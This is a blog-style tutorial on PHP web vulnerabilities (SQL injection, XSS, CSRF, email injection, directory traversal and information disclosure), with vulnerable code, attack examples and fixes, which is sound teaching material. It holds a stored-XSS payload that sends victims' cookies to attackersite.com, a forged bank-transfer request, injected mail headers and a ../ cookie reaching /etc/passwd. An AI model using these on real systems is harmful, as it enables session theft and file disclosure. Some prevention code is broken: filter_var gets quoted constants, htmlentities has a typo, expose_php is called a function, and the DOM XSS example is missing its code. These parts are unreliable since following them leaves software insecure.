An analysis of common vulnerabilities which arise in Web-Development

Today I have decided to list out and explain some of the commonly occuring vulnerabilities in web-apps. Also going to explain on a code-level basis assuming the language used is PHP.

SQL Injection

Overview

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

Example

Consider php code ( In the web application )

$unsafe_variable = $_POST['user_input'];

mysql_query("INSERT INTO table (column) VALUES ('" . $unsafe_variable . "')");          

The variable “user_input” if provided with an SQL query instead of the expected input type will result in the execution of that SQL query resulting in injection.

Prevention 

The best way to prevent this is by using parameterized stored procedures as shown below.

PDO (Portable data Objects ) is bundled within PHP and helps in achieving protection against SQL by using a parameterized stored procedure.

Ex: The above code can be changes as:

$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');

$preparedStatement->execute(array(':column' => $unsafeValue));

Here ":column" is the parameter. The prepared statement is combined with the parameterwhen execute is called. If attacker tries to inject code then it is just treated as a string and there is no harm caused.

Cross-site scripting

Overview

Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

Types of XSS

1)Stored XSS- The code in which is injected is stored permanently in the target's server. i.e all visitors to that site will become potential victims.

Example: Suppose there is a guest book which allows HTML encoding. The attacker posts href="javascript:document.location='http://attackersite.com/php/cookielogger.php?cookie='+document.cookie;">Click here for some benefit! .

So all subsequent users will see this link and have their cookies stolen if they click it

2) Reflected XSS - The code is injected in places which are not stored permanently in the web server. The injected code is executed off a error msg/URL/search string etc. The attack would then be looked like it is reflected off the "trusted" vulnerable site.

3)DOM based XSS - Unlike Stored cross site scripting and Reflected XSS, in which the code is sent to the server and then back to the browser, DOM is executed directly in the user's browser without server contact.

Ex: Consider client side code:

If attacker appends # 

it is not treated as a query as everything after # is not considered as a query but executed by browser as it is a fragment.

Prevention

All input data should be validated before proceeding for processing.Example: Whenever it is required to output something to the browser that came from the user input .

htmlspecialchars($string, ENT_QUOTES, 'UTF-8');  or 

htmlentities($string, ENT_QUOTES. ‘UTF -8’);

Cross-Site Request Forgery

Overview

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

Example

Suppose victim is already logged in his bank account. Suppose there is a web application for transfer of money from one account to the other.Suppose that web application generates a request like 

http://bank.example.com/withdraw?account=victim&amount=1000000&for=receiver

The attacker now lures the victim (after the victim has already logged in)into his page which has HTML source:

http://bank.example.com/withdraw?account=victim&amount=1000000&for=attacker">

The victim will see "Image not displayed" and ignore it but the Request to transfer money to attacker will be unknowingly accepted as there is so difference between this and a legitimate request as the victim is already logged in.

Prevention

There are methods like using a secret cookie and using "POST" method instead of "GET" but these are still vulnerable to XSS. OWASP recommends the method of synchronized tokens to prevent csrf.

For example:

In the previous case if the web-application sent a request like:

http:// bank.example.com/withdraw?account=victim&amount=1000000&for=attacker&token=AZE323

where token is unique but randomly generated everytime which is stored in the user's session. The request is allowed only if the token in the session and the url match.

Also, OWASP has a CSRFGuard package. If included in the PHP source its possible to prevent CSRF by including hidden fields in forms and then asserting the form's validity.

E-mail Injection

Overview

Email injection is a security vulnerability that can occur in Internet applications that are used to send email messages. It is the email equivalent of HTTP Header Injection. Like SQL injectionattacks, this vulnerability is one of a general class of vulnerabilities that occur when one programming language is embedded within another.

Example

Consider a mailing script as follows:

mail( "yourname@example.com", "Feedback Form Results",

  $message, "From: $email" );

If the script takes no effort to sanitize the $email variable before calling mail(), it is possible for a spammer to inject additional headers into the email messages by placing lines like the following into the $email variable.

some-email-address@example.com

CC: another-email-address@example.com, yet-another-email-addresses@example.com, etc-etc@example.com

Prevention

The $email variable should be sanitized before it is passed as argument to the mail() function.

Example:

filter_var($email,’FILTER_SANITIZE_EMAIL’,’FILTER_VALIDATE_EMAIL’)

Directory Traversal

Overview

A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.

The goal of this attack is to order an application to access a computer file that is not intended to be accessible. This attack exploits a lack of security (the software is acting exactly as it is supposed to) as opposed to exploiting a bug in the code.

Directory traversal is also known as the ../ (dot dot slash) attack, directory climbing, and backtracking. Some forms of this attack are also canonicalization attacks.

Example:

A typical example of vulnerable application in PHP code is:

$template = 'red.php';

if (isset($_COOKIE['TEMPLATE']))

   $template = $_COOKIE['TEMPLATE'];

include ("/home/users/phpguru/templates/" . $template);

?>

An attack against this system could be to send the following HTTP request:

GET /vulnerable.php HTTP/1.0

Cookie: TEMPLATE=../../../../../../../../../etc/passwd

The repeated ../ characters after /home/users/phpguru/templates/ has caused include() to traverse to the root directory, and then include the Unix password file /etc/passwd.

Prevention

realpath() and basename() are the two functions PHP provides to help avoid directory traversal attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For example, the $filename from above, passed into realpath(), would return

/etc/passwd

basename() strips the directory part of a name, leaving behind just the filename itself. Using these two functions, it is possible to rewrite the script above in a much more secure manner.

$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);

                                                         Information Disclosure

Overview

Revealing system data or debugging information helps an adversary learn about the system and form a plan of attack. An information leak occurs when system data or debugging information leaves the program through an output stream or logging function. 

Information Disclosure in PHP

The following PHP functions are reported to have Information Disclosure Vulnerability.

 strchr()

 ini_restore() 

 expose_php()

Prevention

The information disclosures arising due to strchr() and ini_restore can be prevented by installing necessary patches to the used PHP version.

The Information Disclosure arising due to expose_php() can be prevented by setting expose_php to OFF in the php.ini file.